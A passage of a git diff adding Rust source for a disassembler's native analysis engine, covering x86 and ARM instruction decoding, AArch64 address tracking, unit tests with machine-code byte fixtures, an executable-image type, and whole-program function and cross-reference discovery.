push_unique(&mut reads, n); + } + } + let kind = if exact { kind } else { Kind::Other }; + let cond = if matches!(flow, Flow::Cond { .. }) { + Some(match inst.condition { + C::EQ => Cond::Eq, + C::NE => Cond::Ne, + C::HS => Cond::AboveEq, + C::LO => Cond::Below, + C::MI => Cond::Sign, + C::PL => Cond::NotSign, + C::VS => Cond::Overflow, + C::VC => Cond::NotOverflow, + C::HI => Cond::Above, + C::LS => Cond::BelowEq, + C::GE => Cond::Ge, + C::LT => Cond::Lt, + C::GT => Cond::Gt, + C::LE => Cond::Le, + _ => Cond::Eq, + }) + } else { + None + }; + let (mnemonic, operands) = if fmt { split_text(&inst.to_string()) } else { (name, String::new()) }; + let operands = absolutize(&operands, addr.wrapping_add(pc_bias)); + Some(Insn { + addr, + len, + mnemonic, + operands, + kind, + flow, + cond, + refs: Vec::new(), + ops, + reads, + writes, + sets_flags: inst.s || matches!(kind, Kind::Cmp | Kind::Test), + }) +} + +// --------------------------------------------------------------------------------------------- +// AArch64 constant tracking (adrp/add/ldr pairs), used by the analysis and the lifter. + +/// Tracks registers holding known addresses within a straight-line run of AArch64 code, so +/// `adrp x0, page; add x0, x0, #off` resolves to an address and `ldr x16, [x16, #off]; br x16` +/// resolves to the pointer slot it jumps through. +#[derive(Debug, Clone, Default)] +pub struct ArmConsts { + vals: [Option; 32], + /// Registers loaded from a known memory slot (value unknown, slot known). + slots: [Option; 32], +} + +fn xnum(r: &str) -> Option { + let n = r.strip_prefix('x').or_else(|| r.strip_prefix('w'))?; + let v: usize = n.parse().ok()?; + (v < 31).then_some(v) +} + +impl ArmConsts { + pub fn reset(&mut self) { + *self = ArmConsts::default(); + } + + pub fn value(&self, reg: &str) -> Option { + self.vals.get(xnum(reg)?).copied().flatten() + } + + /// Update state with `insn`, adding resolved references and slots to it. + pub fn apply(&mut self, insn: &mut Insn) { + let dst = insn.ops.first().and_then(|o| if let Op::Reg(r) = o { xnum(r) } else { None }); + match insn.kind { + Kind::Adrp | Kind::Adr => { + if let (Some(d), Some(Op::Addr(t))) = (dst, insn.ops.get(1)) { + if let Some(v) = self.vals.get_mut(d) { + *v = Some(*t); + } + if let Some(s) = self.slots.get_mut(d) { + *s = None; + } + return; + } + } + Kind::Add | Kind::Mov => { + let src = insn.ops.get(1).and_then(|o| if let Op::Reg(r) = o { xnum(r) } else { None }); + let imm = insn.ops.get(2).and_then(|o| if let Op::Imm(v) = o { Some(*v) } else { None }); + if let (Some(d), Some(s)) = (dst, src) + && let Some(base) = self.vals.get(s).copied().flatten() + { + let v = base.wrapping_add(imm.unwrap_or(0) as u64); + insn.refs.push(v); + if let Some(x) = self.vals.get_mut(d) { + *x = Some(v); + } + if let Some(x) = self.slots.get_mut(d) { + *x = None; + } + return; + } + } + Kind::Load | Kind::Store => { + if let Some(Op::Mem(m)) = insn.ops.get(1) + && let Some(b) = m.base.as_deref().and_then(xnum) + && let Some(base) = self.vals.get(b).copied().flatten() + { + let a = base.wrapping_add(m.disp as u64); + insn.refs.push(a); + if insn.kind == Kind::Load + && let Some(d) = dst + { + if let Some(x) = self.vals.get_mut(d) { + *x = None; + } + if let Some(x) = self.slots.get_mut(d) { + *x = Some(a); + } + return; + } + } + } + _ => {} + } + match insn.flow { + Flow::IndirectCall { slot: None } | Flow::IndirectJump { slot: None } => { + let r = insn.ops.first().and_then(|o| if let Op::Reg(r) = o { xnum(r) } else { None }); + if let Some(s) = r.and_then(|r| self.slots.get(r).copied().flatten()) { + insn.flow = match insn.flow { + Flow::IndirectCall { .. } => Flow::IndirectCall { slot: Some(s) }, + _ => Flow::IndirectJump { slot: Some(s) }, + }; + } + } + _ => {} + } + if matches!(insn.flow, Flow::Call { .. } | Flow::IndirectCall { .. }) { + // Calls clobber the argument and temporary registers. + for i in 0..19 { + if let Some(v) = self.vals.get_mut(i) { + *v = None; + } + if let Some(v) = self.slots.get_mut(i) { + *v = None; + } + } + return; + } + for w in &insn.writes { + if let Some(n) = xnum(w) { + if let Some(v) = self.vals.get_mut(n) { + *v = None; + } + if let Some(v) = self.slots.get_mut(n) { + *v = None; + } + } + } + } +} + +#[cfg(test)] +mod tests { + use super::*; + + #[test] + fn x86_basics() { + // call rel32 + let i = decode(Mode::X64, &[0xe8, 0x10, 0, 0, 0], 0x1000, true).unwrap(); + assert_eq!(i.flow, Flow::Call { target: 0x1015 }); + assert_eq!(i.mnemonic, "call"); + // lea rdi, [rip+0x100] + let i = decode(Mode::X64, &[0x48, 0x8d, 0x3d, 0, 1, 0, 0], 0x1000, true).unwrap(); + assert_eq!(i.refs, vec![0x1107]); + assert_eq!(i.kind, Kind::Lea); + assert!(i.writes.contains(&"rdi".to_string())); + // call [rip+x] + let i = decode(Mode::X64, &[0xff, 0x15, 0, 1, 0, 0], 0x1000, false).unwrap(); + assert_eq!(i.flow, Flow::IndirectCall { slot: Some(0x1106) }); + // jle + let i = decode(Mode::X64, &[0x7e, 0x09], 0x1000, false).unwrap(); + assert_eq!(i.flow, Flow::Cond { target: 0x100b }); + assert_eq!(i.cond, Some(Cond::Le)); + // xor eax, eax defines rax without reading it + let i = decode(Mode::X64, &[0x31, 0xc0], 0, false).unwrap(); + assert!(i.writes.contains(&"rax".to_string()) && !i.reads.contains(&"rax".to_string())); + assert_eq!(decode(Mode::X64, &[0xc3], 0, false).unwrap().flow, Flow::Return); + assert_eq!(decode(Mode::X64, &[0xcc], 0, false).unwrap().flow, Flow::Stop); + assert!(decode(Mode::X64, &[], 0, false).is_none()); + assert!(decode(Mode::X64, &[0x0f], 0, false).is_none()); + // 16-bit int 21h continues + assert_eq!(decode(Mode::X16, &[0xcd, 0x21], 0x100, false).unwrap().flow, Flow::Next); + } + + #[test] + fn a64_basics() { + let w = |x: u32| x.to_le_bytes(); + let i = decode(Mode::A64, &w(0x9400_0008), 0x1000, true).unwrap(); + assert_eq!(i.flow, Flow::Call { target: 0x1020 }); + let i = decode(Mode::A64, &w(0xd65f03c0), 0x1000, true).unwrap(); + assert_eq!(i.flow, Flow::Return); + let i = decode(Mode::A64, &w(0x3400_0060), 0x1000, true).unwrap(); + assert_eq!(i.flow, Flow::Cond { target: 0x100c }); + assert_eq!(i.cond, Some(Cond::RegZero("w0".into()))); + // adrp x0, +1 page; add x0, x0, #0x10 → 0x2010 + let mut c = ArmConsts::default(); + let mut a = decode(Mode::A64, &w(0xb000_0000), 0x1000, true).unwrap(); + assert!(a.operands.contains("0x2000"), "{}", a.operands); + c.apply(&mut a); + let mut b = decode(Mode::A64, &w(0x9100_4000), 0x1004, true).unwrap(); + c.apply(&mut b); + assert_eq!(b.refs, vec![0x2010]); + assert_eq!(c.value("x0"), Some(0x2010)); + } + + #[test] + fn a_thumb_bl_call_targets_its_destination() { + for fmt in [false, true] { + let i = decode(Mode::T32, &[0x00, 0xf0, 0x05, 0xf8], 0x1002, fmt).unwrap(); + assert_eq!(i.flow, Flow::Call { target: 0x1010 }); + assert_eq!(i.ops, vec![Op::Addr(0x1010)]); + let i = decode(Mode::T32, &[0xff, 0xf7, 0xf7, 0xff], 0x1010, fmt).unwrap(); + assert_eq!(i.flow, Flow::Call { target: 0x1002 }); + } + } + + #[test] + fn arm_and_thumb_branches_target_what_llvm_objdump_reports() { + // Bytes and targets from clang-assembled code disassembled by llvm-objdump. + let cases: &[(Mode, &str, &[u8], u64, u64)] = &[ + (Mode::T32, "b", &[0x14, 0xe0], 0x1000, 0x102c), + (Mode::T32, "beq", &[0x13, 0xd0], 0x1002, 0x102c), + (Mode::T32, "b.w", &[0x00, 0xf0, 0x12, 0xb8], 0x1004, 0x102c), + (Mode::T32, "beq.w", &[0x00, 0xf0, 0x10, 0x80], 0x1008, 0x102c), + (Mode::T32, "bl", &[0x00, 0xf0, 0x0e, 0xf8], 0x100c, 0x102c), + (Mode::T32, "cbz", &[0x60, 0xb1], 0x1010, 0x102c), + (Mode::T32, "cbnz", &[0x59, 0xb9], 0x1012, 0x102c), + (Mode::T32, "blx", &[0xff, 0xf7, 0xfe, 0xef], 0x1016, 0x1014), + (Mode::T32, "bne.w", &[0x40, 0xf0, 0x06, 0x80], 0x1024, 0x1034), + (Mode::T32, "bne", &[0x03, 0xd1], 0x102a, 0x1034), + (Mode::A32, "b", &[0x04, 0x00, 0x00, 0xea], 0x1000, 0x1018), + (Mode::A32, "beq", &[0x03, 0x00, 0x00, 0x0a], 0x1004, 0x1018), + (Mode::A32, "bl", &[0xfe, 0xff, 0xff, 0xeb], 0x1008, 0x1008), + (Mode::A32, "blx", &[0xfe, 0xff, 0xff, 0xfa], 0x100c, 0x100c), + (Mode::A32, "b back", &[0xfa, 0xff, 0xff, 0xea], 0x1010, 0x1000), + ]; + for (mode, name, bytes, at, want) in cases { + let i = decode(*mode, bytes, *at, false).unwrap(); + let got = match i.flow { + Flow::Call { target } | Flow::Jump { target } | Flow::Cond { target } => target, + other => panic!("{mode:?} {name}: {other:?}"), + }; + assert_eq!(got, *want, "{mode:?} {name}"); + } + let cbz = decode(Mode::T32, &[0x60, 0xb1], 0x1010, false).unwrap(); + assert_eq!(cbz.reads, vec!["r0".to_string()]); + assert!(cbz.writes.is_empty()); + } + + #[test] + fn a_thumb_bl_discovers_the_callee_instead_of_padding() { + use crate::{Image, Limits, NoControl, Program}; + use craft_anything_formats::{Arch, Binary}; + use std::sync::Arc; + + let bytes = [0x10, 0xb5, 0x00, 0xf0, 0x05, 0xf8, 0x10, 0xbd, 0, 0, 0, 0, 0, 0, 0, 0, 0x70, 0x47]; + let mut bin = Binary::raw(Arch::Arm, 0x1000, bytes.len() as u64, 0); + bin.entry = Some(0x1001); + let img = Image::from_binary(Arc::from(bytes), bin); + assert_eq!(img.mode, Some(Mode::T32)); + let p = Program::analyze(&img, &Limits::default(), &NoControl).unwrap(); + let caller = p.functions.get(&0x1000).unwrap(); + assert_eq!(caller.calls.first().unwrap().target, Some(0x1010)); + assert!(p.functions.contains_key(&0x1010)); + assert!(!p.functions.contains_key(&0x100c)); + } + + #[test] + fn a32_doubleword_rt15_is_invalid() { + assert!(decode(Mode::A32, &[0xf3, 0xfe, 0xc7, 0xc0], 0, true).is_none()); + for word in [0xe1c0_f0d0u32, 0xe1c0_f0f0, 0xe180_f0d1, 0xe180_f0f1] { + assert!(decode(Mode::A32, &word.to_le_bytes(), 0, true).is_none()); + } + } + + #[test] + fn a32_doubleword_other_registers_still_decode() { + // LDRD/STRD immediate and register forms, including valid Rt=2. + for base in [0xe1c0_00d0u32, 0xe1c0_00f0, 0xe180_00d1, 0xe180_00f1] { + for rt in 0..15 { + let word = base | (rt << 12); + assert!(decode(Mode::A32, &word.to_le_bytes(), 0, true).is_some()); + } + } + } + + #[test] + fn a32_single_register_loads_and_stores_still_decode() { + // Ordinary LDR/STR, plus extra halfword/signed loads with Rt=15. + for word in [0xe590_2000u32, 0xe580_2000, 0xe1d0_f0b0, 0xe1d0_f0d0, 0xe1d0_f0f0] { + assert!(decode(Mode::A32, &word.to_le_bytes(), 0, true).is_some()); + } + } + + #[test] + fn junk_never_panics() { + for seed in 0..64u64 { + let bytes = craft_anything_testkit::noise(seed, 64); + for mode in [Mode::X16, Mode::X32, Mode::X64, Mode::A32, Mode::T32, Mode::A64] { + for off in 0..bytes.len() { + let _ = decode(mode, &bytes[off..], 0x1000 + off as u64, true); + } + } + } + } + + #[test] + fn absolutize_rewrites_relative_operands() { + assert_eq!(absolutize("$+0x20", 0x1000), "0x1020"); + assert_eq!(absolutize("x0, $-0x8", 0x1000), "x0, 0xff8"); + assert_eq!(absolutize("$zz", 0), "$zz"); + } +} diff --git a/desktop/crates/disasm/src/image.rs b/desktop/crates/disasm/src/image.rs new file mode 100644 index 0000000..0685fe8 --- /dev/null +++ b/desktop/crates/disasm/src/image.rs @@ -0,0 +1,91 @@ +//! An executable image: the parsed container plus its bytes, with address-level reads and +//! instruction decoding. + +use crate::DisasmError; +use crate::decode::{Insn, Mode, decode}; +use craft_anything_formats::{Arch, Binary, Format}; +use std::sync::Arc; + +#[derive(Debug, Clone)] +pub struct Image { + pub bin: Binary, + pub data: Arc<[u8]>, + /// Decoding mode; `None` when the architecture isn't supported by the built-in decoder. + pub mode: Option, +} + +pub fn mode_for(bin: &Binary) -> Option { + match bin.arch { + Arch::X86_16 => Some(Mode::X16), + Arch::X86 => Some(Mode::X32), + Arch::X86_64 => Some(Mode::X64), + Arch::Aarch64 => Some(Mode::A64), + Arch::Arm => { + if bin.entry.is_some_and(|e| e & 1 == 1) { + Some(Mode::T32) + } else { + Some(Mode::A32) + } + } + Arch::Other => None, + } +} + +impl Image { + /// Parse any supported container. + pub fn parse(data: Arc<[u8]>) -> Result { + let bin = craft_anything_formats::parse_binary(&data).map_err(DisasmError::Format)?; + Ok(Image::from_binary(data, bin)) + } + + pub fn from_binary(data: Arc<[u8]>, bin: Binary) -> Image { + let mode = mode_for(&bin); + Image { bin, data, mode } + } + + /// A DOS .COM program (16-bit, loaded at 0x100). + pub fn dos_com(data: Arc<[u8]>) -> Result { + let bin = craft_anything_formats::dos::com_binary(&data).map_err(DisasmError::Format)?; + Ok(Image::from_binary(data, bin)) + } + + /// Raw machine code for `arch`, loaded at `base`. + pub fn raw(data: Arc<[u8]>, arch: Arch, base: u64) -> Image { + let bin = Binary::raw(arch, base, data.len() as u64, 0); + Image::from_binary(data, bin) + } + + pub fn format(&self) -> Format { + self.bin.format + } + + /// File-backed bytes at `va` (never crossing the end of the section). + pub fn read(&self, va: u64, len: usize) -> Option<&[u8]> { + self.bin.read(&self.data, va, len) + } + + pub fn is_exec(&self, va: u64) -> bool { + self.bin.is_exec(va) + } + + pub fn is_mapped(&self, va: u64) -> bool { + self.bin.is_mapped(va) + } + + /// Decode the instruction at `va`. + pub fn decode(&self, va: u64, fmt: bool) -> Option { + let mode = self.mode?; + let bytes = self.read(va, mode.max_insn_len())?; + decode(mode, bytes, va, fmt) + } + + pub fn pointer_size(&self) -> u64 { + if self.bin.bits == 64 { + 8 + } else if self.bin.bits == 16 { + 2 + } else { + 4 + } + } +} diff --git a/desktop/crates/disasm/src/lib.rs b/desktop/crates/disasm/src/lib.rs new file mode 100644 index 0000000..60b2986 --- /dev/null +++ b/desktop/crates/disasm/src/lib.rs @@ -0,0 +1,47 @@ +//! REI Reverse Engineer's own native engine: decoding, functions, control flow, references, pseudo-C. +//! +//! [`Image`] wraps a parsed container and its bytes; [`Program::analyze`] discovers functions +//! (entry, symbols, exports, container function lists, call targets, code pointers, prologue +//! scan), splits them into basic blocks with jump-table recovery, and records cross-references, +//! string references and the call graph. [`pseudo`] lifts one function to structured pseudo-C +//! and [`dataflow`] builds a register def-use graph. Everything is bounded and cancellable, and +//! never panics on hostile input. +#![deny(clippy::unwrap_used, clippy::expect_used, clippy::panic, clippy::unimplemented, clippy::todo, clippy::unreachable)] + +pub mod arity; +pub mod dataflow; +pub mod decode; +pub mod image; +pub mod program; +pub mod pseudo; +/// eBPF / Solana sBPF decoding and static analysis (clean room, self-contained). +pub mod sbpf; + +pub use decode::{ArmConsts, Cond, Flow, Insn, Kind, MemOp, Mode, Op, canonical_reg, decode}; +pub use image::Image; +pub use program::{Block, CallSite, Callee, Function, JumpTable, Limits, ProgString, Program, SlotInfo, Stats, Term, Xref, XrefKind, slot_label}; + +/// Why the native engine stopped. +#[derive(Debug, Clone, PartialEq, Eq, thiserror::Error)] +pub enum DisasmError { + #[error("{0}")] + Format(craft_anything_formats::FormatError), + #[error("not supported: {0}")] + Unsupported(String), + #[error("cancelled")] + Cancelled, +} + +/// Cancellation and progress for long analyses (the engine passes its cancel token through). +pub trait Control { + fn cancelled(&self) -> bool { + false + } + fn progress(&self, _fraction: f32, _message: &str) {} +} + +/// A [`Control`] that never cancels and ignores progress. +#[derive(Debug, Clone, Copy, Default)] +pub struct NoControl; + +impl Control for NoControl {} diff --git a/desktop/crates/disasm/src/program.rs b/desktop/crates/disasm/src/program.rs new file mode 100644 index 0000000..11ab3f8 --- /dev/null +++ b/desktop/crates/disasm/src/program.rs @@ -0,0 +1,1517 @@ +//! Whole-program analysis: function discovery, basic blocks and control flow, jump tables, +//! cross-references, strings and their uses, import thunks, and the call graph. + +use crate::decode::{ArmConsts, Flow, Insn, Kind, Mode, Op}; +use crate::image::Image; +use crate::{Control, DisasmError}; +use craft_anything_formats::hex_addr; +use craft_anything_formats::strings::Encoding; +use craft_anything_formats::{Format, SymbolKind}; +use serde::Serialize; +use std::collections::{BTreeMap, BTreeSet, VecDeque}; + +/// Bounds on one analysis run. +#[derive(Debug, Clone)] +pub struct Limits { + pub max_functions: usize, + pub max_insns_per_function: usize, + pub max_total_insns: usize, + pub max_xrefs: usize, + pub max_strings: usize, + pub string_min_len: usize, + /// Bytes of data sections scanned for strings and pointers. + pub max_data_scan: usize, + pub scan_prologues: bool, +} + +impl Default for Limits { + fn default() -> Self { + Limits { + max_functions: 50_000, + max_insns_per_function: 60_000, + max_total_insns: 6_000_000, + max_xrefs: 4_000_000, + max_strings: 200_000, + string_min_len: 4, + max_data_scan: 96 << 20, + scan_prologues: true, + } + } +} + +#[derive(Debug, Clone, Copy, PartialEq, Eq, Hash, PartialOrd, Ord, Serialize)] +#[serde(rename_all = "snake_case")] +pub enum XrefKind { + Call, + Jump, + Data, + String, + /// A pointer stored in data (vtables, callback tables, string tables). + Pointer, + /// Through an import slot. + Import, +} + +#[derive(Debug, Clone, Copy, PartialEq, Eq, Hash, PartialOrd, Ord, Serialize)] +pub struct Xref { + #[serde(with = "hex_addr")] + pub from: u64, + #[serde(with = "hex_addr")] + pub to: u64, + pub kind: XrefKind, +} + +#[derive(Debug, Clone, Copy, PartialEq, Eq, Serialize)] +#[serde(rename_all = "snake_case")] +pub enum Term { + /// Falls into the next block. + Fall, + Jump, + Cond, + Return, + /// Indirect jump (a resolved jump table lists its successors). + Indirect, + Stop, + /// Jumps to another function. + Tail, + /// Code ran off the end of what we could decode. + Unknown, +} + +#[derive(Debug, Clone, PartialEq, Eq, Serialize)] +pub struct Block { + #[serde(with = "hex_addr")] + pub start: u64, + #[serde(with = "hex_addr")] + pub end: u64, + pub insns: u32, + #[serde(with = "hex_addr::vec")] + pub succs: Vec, + pub term: Term, +} + +#[derive(Debug, Clone, PartialEq, Eq, Serialize)] +pub struct CallSite { + #[serde(with = "hex_addr")] + pub site: u64, + #[serde(with = "hex_addr::opt")] + pub target: Option, + /// Import called through a slot or stub. + #[serde(skip_serializing_if = "Option::is_none")] + pub import: Option, + pub indirect: bool, +} + +#[derive(Debug, Clone, PartialEq, Eq, Serialize)] +pub struct JumpTable { + #[serde(with = "hex_addr")] + pub site: u64, + #[serde(with = "hex_addr")] + pub table: u64, + pub entry_size: u8, + #[serde(with = "hex_addr::vec")] + pub targets: Vec, +} + +#[derive(Debug, Clone, PartialEq, Eq, Serialize)] +pub struct Function { + #[serde(with = "hex_addr")] + pub entry: u64, + pub name: String, + /// symbol, export, objc, go_pclntab, import_thunk, entry_point, heuristic, generated + pub name_source: &'static str, + /// entry_point, symbol, export, function_starts, objc, go_pclntab, stub, call, code_pointer, prologue + pub discovered_by: &'static str, + pub blocks: Vec, + pub calls: Vec, + pub insn_count: u32, + #[serde(with = "hex_addr")] + pub end: u64, + #[serde(skip_serializing_if = "Option::is_none")] + pub thunk_of: Option, + pub truncated: bool, + pub jump_tables: Vec, + pub unresolved_indirect_jumps: u32, + #[serde(with = "hex_addr::vec")] + pub tail_calls: Vec, + /// At least one return instruction was reached. + pub returns: bool, +} + +impl Function { + pub fn size(&self) -> u64 { + self.blocks.iter().map(|b| b.end.saturating_sub(b.start)).sum() + } + + pub fn contains(&self, addr: u64) -> bool { + self.blocks.iter().any(|b| addr >= b.start && addr < b.end) + } + + pub fn block_at(&self, addr: u64) -> Option<&Block> { + self.blocks.iter().find(|b| addr >= b.start && addr < b.end) + } +} + +#[derive(Debug, Clone, PartialEq, Eq, Serialize)] +pub struct ProgString { + #[serde(with = "hex_addr")] + pub addr: u64, + pub file_offset: u64, + pub byte_len: u64, + pub encoding: Encoding, + pub text: String, + pub section: String, +} + +#[derive(Debug, Clone, PartialEq, Eq, Serialize)] +pub struct SlotInfo { + pub name: String, + pub library: Option, + /// slot or stub + pub kind: &'static str, +} + +#[derive(Debug, Clone, Default, PartialEq, Eq, Serialize)] +pub struct Stats { + pub functions: usize, + pub blocks: usize, + pub instructions: usize, + pub xrefs: usize, + pub strings: usize, + pub discovered_by: BTreeMap, + pub unresolved_indirect_jumps: usize, + pub jump_tables: usize, + pub truncated_functions: usize, +} + +/// The analysed program. +#[derive(Debug, Clone)] +pub struct Program { + pub mode: Mode, + pub functions: BTreeMap, + pub strings: Vec, + pub xrefs_to: BTreeMap>, + pub xrefs_from: BTreeMap>, + pub import_slots: BTreeMap, + pub data_names: BTreeMap, + pub stats: Stats, + /// (code, message) pairs: what the analysis couldn't do. + pub limitations: Vec<(String, String)>, + /// block start → (end, function entry) + block_index: BTreeMap, + name_index: BTreeMap, +} + +const NORETURN: &[&str] = &[ + "exit", + "_exit", + "_Exit", + "abort", + "__stack_chk_fail", + "__assert_fail", + "__assert_rtn", + "__cxa_throw", + "__cxa_rethrow", + "_Unwind_Resume", + "longjmp", + "siglongjmp", + "pthread_exit", + "err", + "errx", + "verr", + "verrx", + "__libc_start_main", + "__fortify_fail", + "__chk_fail", + "ExitProcess", + "ExitThread", + "FatalExit", + "RaiseFailFastException", + "_invalid_parameter_noinfo_noreturn", + "__report_gsfailure", + "_CxxThrowException", + "objc_exception_throw", + "swift_unexpectedError", + "_ZSt9terminatev", +]; + +fn bare(name: &str) -> &str { + let n = name.split('@').next().unwrap_or(name); + n.strip_prefix("__imp_").unwrap_or(n) +} + +fn is_noreturn(name: &str) -> bool { + let b = bare(name); + NORETURN.contains(&b) || NORETURN.contains(&b.strip_prefix('_').unwrap_or(b)) || b.contains("panicking5panic") || b.starts_with("core::panicking::") +} + +struct Scan { + insns: BTreeMap, + leaders: BTreeSet, + calls: Vec, + xrefs: Vec, + jump_tables: Vec, + tails: Vec, + code_ptrs: Vec, + truncated: bool, + unresolved: u32, + thunk_of: Option, + returns: bool, +} + +struct Ctx<'a> { + img: &'a Image, + mode: Mode, + limits: &'a Limits, + slots: &'a BTreeMap, + stubs: &'a BTreeMap, + sym_noreturn: &'a BTreeSet, +} + +impl Program { + /// Analyse a whole image. + pub fn analyze(img: &Image, limits: &Limits, ctl: &dyn Control) -> Result { + let mode = img.mode.ok_or_else(|| DisasmError::Unsupported(format!("{} code isn't supported by the built-in decoder yet", img.bin.arch_name)))?; + let bin = &img.bin; + let mut limitations: Vec<(String, String)> = Vec::new(); + // Import slots and stubs. + let mut slots: BTreeMap = BTreeMap::new(); + for s in &bin.import_slots { + slots.entry(s.addr).or_insert(SlotInfo { name: s.name.clone(), library: s.library.clone(), kind: s.kind }); + } + ctl.progress(0.02, "finding strings"); + let strings = collect_strings(img, limits); + if strings.len() >= limits.max_strings { + limitations.push(("strings_capped".into(), format!("kept the first {} strings", limits.max_strings))); + } + // Stubs: Mach-O stub entries from the indirect symbol table, plus PLT entries. + let mut stubs: BTreeMap = BTreeMap::new(); + for (a, s) in &slots { + if s.kind == "stub" { + stubs.insert(*a, s.name.clone()); + } + } + scan_plt(img, mode, &slots, &mut stubs); + let mut sym_noreturn = BTreeSet::new(); + for s in bin.symbols.iter().filter(|s| s.defined && s.kind == SymbolKind::Function) { + if is_noreturn(&s.name) { + sym_noreturn.insert(s.addr); + } + } + // Seeds. + let mut seeds: Vec<(u64, &'static str)> = Vec::new(); + let thumb = mode == Mode::T32; + let clean = |a: u64| if thumb { a & !1 } else { a }; + if let Some(e) = bin.entry { + seeds.push((clean(e), "entry_point")); + } + for s in &bin.symbols { + if s.defined && s.kind == SymbolKind::Function && s.addr != 0 { + seeds.push((clean(s.addr), "symbol")); + } + } + for e in &bin.exports { + seeds.push((clean(e.addr), "export")); + } + for &f in &bin.function_starts { + seeds.push((clean(f), "function_starts")); + } + for a in stubs.keys() { + seeds.push((*a, "stub")); + } + // Names a language's own metadata keeps even in a stripped program, with where they came from. + let mut meta_names: BTreeMap = BTreeMap::new(); + for f in craft_anything_formats::go::functions(&img.data) { + if f.entry != 0 { + meta_names.entry(f.entry).or_insert((f.name, "go_pclntab")); + seeds.push((f.entry, "go_pclntab")); + } + } + if bin.format == Format::MachO { + let meta = craft_anything_formats::macho::objc_metadata(&img.data, bin); + for c in &meta.classes { + for m in &c.methods { + if let Some(imp) = m.imp { + let class = match &c.category { + Some(cat) => format!("{}({cat})", c.name), + None => c.name.clone(), + }; + meta_names.entry(imp).or_insert_with(|| (format!("{}[{class} {}]", m.kind, m.selector), "objc")); + seeds.push((imp, "objc")); + } + } + } + } + let ctx = Ctx { img, mode, limits, slots: &slots, stubs: &stubs, sym_noreturn: &sym_noreturn }; + let mut known: BTreeSet = BTreeSet::new(); + let mut queue: VecDeque<(u64, &'static str)> = VecDeque::new(); + for (a, src) in seeds { + if img.is_exec(a) && known.insert(a) { + queue.push_back((a, src)); + } + } + let mut functions: BTreeMap = BTreeMap::new(); + let mut all_xrefs: Vec = Vec::new(); + let mut total_insns = 0usize; + let mut hit_function_cap = false; + let mut hit_insn_cap = false; + let mut covered: BTreeMap = BTreeMap::new(); + for round in 0..2 { + while let Some((entry, src)) = queue.pop_front() { + if functions.len().is_multiple_of(64) { + if ctl.cancelled() { + return Err(DisasmError::Cancelled); + } + let done = functions.len() as f32; + ctl.progress(0.05 + 0.85 * done / (done + queue.len() as f32 + 1.0), &format!("{} functions", functions.len())); + } + if functions.len() >= limits.max_functions { + hit_function_cap = true; + break; + } + if total_insns >= limits.max_total_insns { + hit_insn_cap = true; + break; + } + let scan = scan_function(&ctx, entry, &known); + total_insns += scan.insns.len(); + for c in &scan.calls { + if let Some(t) = c.target + && img.is_exec(t) + && known.insert(t) + { + queue.push_back((t, "call")); + } + } + for &t in &scan.tails { + if img.is_exec(t) && known.insert(t) { + queue.push_back((t, "call")); + } + } + for &p in &scan.code_ptrs { + if !scan.insns.contains_key(&p) && p % mode.align() == 0 && known.insert(p) { + queue.push_back((p, "code_pointer")); + } + } + let f = build_function(entry, src, scan, &mut all_xrefs, limits.max_xrefs); + for b in &f.blocks { + covered.insert(b.start, b.end); + } + functions.insert(entry, f); + } + if round == 0 && limits.scan_prologues && !hit_function_cap && !hit_insn_cap { + if ctl.cancelled() { + return Err(DisasmError::Cancelled); + } + ctl.progress(0.9, "scanning for functions nothing calls"); + for a in prologue_scan(img, mode, &covered) { + if known.insert(a) { + queue.push_back((a, "prologue")); + } + } + } + } + // A function scanned before a later-found entry was known may have run on into it, or read + // a switch table past its end into the next function; scan those again now that every + // entry is known, so each keeps only its own body. + let overran: Vec<(u64, &'static str)> = functions + .values() + .filter(|f| { + let next = known.range(f.entry.saturating_add(1)..).next().copied().unwrap_or(u64::MAX); + f.blocks.iter().any(|b| known.range(b.start..b.end.max(b.start)).any(|&k| k != f.entry) || (!f.jump_tables.is_empty() && b.start >= next)) + }) + .map(|f| (f.entry, f.discovered_by)) + .collect(); + for (i, (entry, src)) in overran.into_iter().enumerate() { + if i % 64 == 0 && ctl.cancelled() { + return Err(DisasmError::Cancelled); + } + let scan = scan_function(&ctx, entry, &known); + functions.insert(entry, build_function(entry, src, scan, &mut all_xrefs, limits.max_xrefs)); + } + if hit_function_cap { + limitations.push(( + "function_limit".into(), + format!("function discovery stopped after {} functions; the function list is incomplete and some code is not analysed", limits.max_functions), + )); + } + if hit_insn_cap { + limitations.push(( + "instruction_limit".into(), + format!( + "function discovery stopped after {} instructions; the function list is incomplete and some code is not analysed", + limits.max_total_insns + ), + )); + } + // Data → code and data → string pointers. + ctl.progress(0.93, "scanning data for pointers"); + let string_index: BTreeMap = strings.iter().enumerate().map(|(i, s)| (s.addr, i)).collect(); + pointer_scan(img, limits, &functions, &string_index, &mut all_xrefs); + let strings = split_at_references(strings, &all_xrefs); + let string_index: BTreeMap = strings.iter().enumerate().map(|(i, s)| (s.addr, i)).collect(); + // Re-classify references that land on strings. + for x in all_xrefs.iter_mut() { + if matches!(x.kind, XrefKind::Data) + && let Some((&start, &i)) = string_index.range(..=x.to).next_back() + && let Some(s) = strings.get(i) + && x.to < start.saturating_add(s.byte_len.max(1)) + { + x.kind = XrefKind::String; + x.to = start; + } + } + all_xrefs.sort_unstable(); + all_xrefs.dedup(); + if all_xrefs.len() >= limits.max_xrefs { + limitations.push(("xref_limit".into(), format!("kept the first {} cross-references", limits.max_xrefs))); + } + let mut xrefs_to: BTreeMap> = BTreeMap::new(); + let mut xrefs_from: BTreeMap> = BTreeMap::new(); + for x in &all_xrefs { + xrefs_to.entry(x.to).or_default().push(*x); + xrefs_from.entry(x.from).or_default().push(*x); + } + // Names. + let mut data_names = BTreeMap::new(); + for s in bin.symbols.iter().filter(|s| s.defined && s.kind == SymbolKind::Data && s.addr != 0) { + data_names.entry(s.addr).or_insert_with(|| s.name.clone()); + } + let main_guess = guess_main(img, mode, &functions, &slots); + let mut names_taken: BTreeSet = BTreeSet::new(); + for f in functions.values_mut() { + let (name, source) = function_name(img, f, &stubs, &meta_names, main_guess); + f.name = name; + f.name_source = source; + names_taken.insert(f.name.clone()); + } + let mut name_index = BTreeMap::new(); + for f in functions.values() { + name_index.entry(f.name.clone()).or_insert(f.entry); + } + for s in bin.symbols.iter().filter(|s| s.defined && s.kind == SymbolKind::Function) { + if functions.contains_key(&clean(s.addr)) { + name_index.entry(s.name.clone()).or_insert(clean(s.addr)); + if let Some(d) = &s.demangled { + name_index.entry(d.clone()).or_insert(clean(s.addr)); + } + } + } + let mut block_index = BTreeMap::new(); + let mut stats = Stats { functions: functions.len(), strings: strings.len(), xrefs: all_xrefs.len(), ..Default::default() }; + for f in functions.values() { + 